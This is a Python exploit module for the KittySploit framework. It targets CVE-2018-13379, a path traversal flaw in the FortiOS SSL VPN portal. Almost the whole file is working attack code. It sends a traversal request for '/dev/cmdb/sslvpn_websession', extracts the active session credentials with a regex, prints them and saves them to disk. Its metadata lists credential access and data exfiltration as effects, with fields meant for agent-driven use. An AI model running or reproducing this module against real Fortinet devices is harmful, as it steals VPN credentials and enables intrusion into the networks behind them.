FortiOS SSL VPN Credential Leak (CVE-2018-13379)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FortiOS SSL VPN session credential leak (CVE-2018-13379)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'FortiOS SSL VPN Credential Leak (CVE-2018-13379)',
        'description': (
            'Exploits CVE-2018-13379 path traversal in FortiOS/FortiProxy SSL VPN web portal '
            'to download /dev/cmdb/sslvpn_websession and extract active session credentials.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-13379'],
        'platform': Platform.MULTI,
        'references': [
            'https://fortiguard.com/advisory/FG-IR-18-384',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-13379',
        ],
        'tags': ['fortios', 'fortinet', 'fortiproxy', 'lfi', 'credential-leak', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials', 'risk_signals'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2018_13379_detect'],
            },
        },
    }

    traversal_path = OptString(
        '/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession',
        'Path traversal URL',
        required=False,
        advanced=True,
    )
    output_file = OptString('', 'Local file to save leaked session blob', required=False)

    _SESSION_RE = re.compile(
        r'([A-Za-z0-9._@-]+,[A-Za-z0-9+/=]{8,},[^,\n\r]+)',
    )

    def check(self):
        path = str(self.traversal_path or '').strip()
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return {'vulnerable': False, 'reason': 'Traversal path did not return 200', 'confidence': 'medium'}
        body = r.text or ''
        if re.search(r'^var fgt_lang =', body) or self._SESSION_RE.search(body):
            return {'vulnerable': True, 'reason': 'SSL VPN session file leaked', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'No session markers in response', 'confidence': 'low'}

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        path = str(self.traversal_path or '').strip()
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        body = (r.text or '') if r else ''
        sessions = self._SESSION_RE.findall(body)
        if sessions:
            print_success(f'Extracted {len(sessions)} session line(s)')
            for line in sessions[:20]:
                print_status(line[:200])
        else:
            print_success(f'Leaked {len(body)} bytes (parse manually)')
            print_status(body[:3000])
        out = str(self.output_file or '').strip()
        if out:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
            print_success(f'Saved to {out}')
        return True